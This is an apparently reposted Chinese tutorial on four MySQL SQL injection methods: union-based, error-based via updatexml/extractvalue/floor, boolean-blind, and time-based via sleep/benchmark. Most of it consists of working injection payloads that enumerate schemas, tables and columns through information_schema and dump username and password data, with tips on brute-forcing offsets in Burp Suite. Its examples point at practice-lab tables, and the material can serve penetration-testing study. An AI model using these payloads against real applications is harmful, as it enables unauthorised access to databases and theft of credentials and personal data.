sql注入之——mysql的四大注入基本注入手法
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了sql注入之——mysql的四大注入基本注入手法,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含4052字,纯文字阅读大概需要6分钟。
内容图文
union类型的sql注入(联合查询注入)
- 条件:
页面必须有显示位
判断列数:
1’ order by 3-- -
不存在返回错误
判断显示位:
-1’ union select 1,2,3-- -
查看数据库:
-1’ union select user(),database(),version()-- -
查看数据库有哪些表 (爆数据表)table_schema='数据库名’
-1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3-- -
查看对应表有哪些列 (爆字段)table_name='指定表名’
-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3-- -
查看账号密码信息(数据拖库) username,password指定列,security.users指定库表
-1’ union select 1,(select group_concat(concat_ws(0x7e,username,password))from security.users),3-- -
数据脱库效果
基于错误显示的sql注入(报错注入)
- 条件:
必须有错误回显
利用的函数
1.updatexml(arg1,arg2,arg3)
改变文档中符合条件的节点的值,arg1位xml文档对象的名称,arg2为xpath格式的字符串,arg3,String格式,替换查找到的符合条件的数据。
语句:select updatexml(1,concat(0x7e,(select user()),0x7e),1)
返回结果:XPATH syntax error: 'root@localhost’
2.extractvalue(arg1,arg2)
从目标XML中返回包含所查询值的字符串,arg1为是String格式,为XML文档对象的名称。arg2为Xpath格式的字符串。
语句:select extractvalue(1,concat(0x7e,(select user()),0x7e))
返回结果:XPATH syntax error: 'root@localhost’
3.floor(arg1)
函数只返回arg1整数部分,小数部分舍弃。
语句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3
返回结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’
4.注意
Extractvalue() updatexml()有32位长度限制
判断列数:
1’ order by 3-- -
不存在时返回错误
查看数据库
-1 and updatexml(1,concat(0x7e,(select substring(group_concat(schema_name) ,1,20)from information_schema.schemata)),1)
bp抓包对substring第二个参数位置进行爆破(从哪开始截取)
查看数据库有哪些表(爆数据表)
-1 and updatexml(1,concat(0x7e,(select substring(group_concat(table_name) ,1,20)from information_schema.tables where table_schema=‘lp’)),1)
bp抓包对substring第二个参数位置进行爆破(从哪开始截取)
查看对应表有哪些列(爆字段)
-1 and updatexml(1,concat(0x7e,(select substring(group_concat(column_name) ,1,20)from information_schema.columns where table_schema=‘lp’ and table_name=‘student’)),1)
bp抓包对substring第二个参数位置进行爆破(从哪开始截取)
查看账号密码信息(数据拖库)
-1 and updatexml(1,concat(0x7e,(select substring(group_concat(concat_ws(0x7e,sno,class)) ,1,20)from lp.student)),1)
bp抓包对substring第二个参数位置进行爆破(从哪开始截取)
数据脱库效果
基于布尔类型的sql注入(布尔注入)
- 条件:
没有返回值和报错信息,根据当页面正常和不正常执行sql语句效果不同判断sql语句是否成功
先得到数据库名的长度
and (length(database()))>5
and (length(database()))=4
改变n的值依次获取数据库名的字符
and (ascii(substr(database(),n,1)))>100
获取数据库表名(先获取表名数量,再获取表名长度)
and (select count(*) from information_schema.tables where table_schema=database())>5
获取表名数量
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5
获取表名长度
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100
依次通过ascii码获取表名
获取列名(先获取列名个数,再获取列名长度,最后获取列名)
and (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>100
获取数据
and (ascii(substr(( select password from users limit 0,1),1,1)))=68
注入效果
基于时间的sql注入(延时注入)
- 条件:
能执行sql语句
利用的函数
1.sleep,benchmark()
通常与条件类函数配合使用
2.sleep(arg1)
arg1中断的时间单位为秒。
语句:select if(1=1, sleep(3), ‘goodbye’)
返回结果:页面延迟3秒显示
3.benchmark(arg1,arg2)
arg1为操作的函数,arg2为操作次数
语句:
select if(1=1, benchmark(5000000,md5(‘abc’)), ‘goodbye’)
返回结果:
页面延迟2秒显示
先得到数据库名的长度
and if((length(database()))>5),sleep(5),0)
注:if(1,2,3)1为真执行2,否则执行3
语句里if的第一个参数同布尔型语句,参考布尔型替换即可
and if((length(database())>5),sleep(5),0)
注入效果
内容总结
以上是互联网集市为您收集整理的sql注入之——mysql的四大注入基本注入手法全部内容,希望文章能够帮你解决sql注入之——mysql的四大注入基本注入手法所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。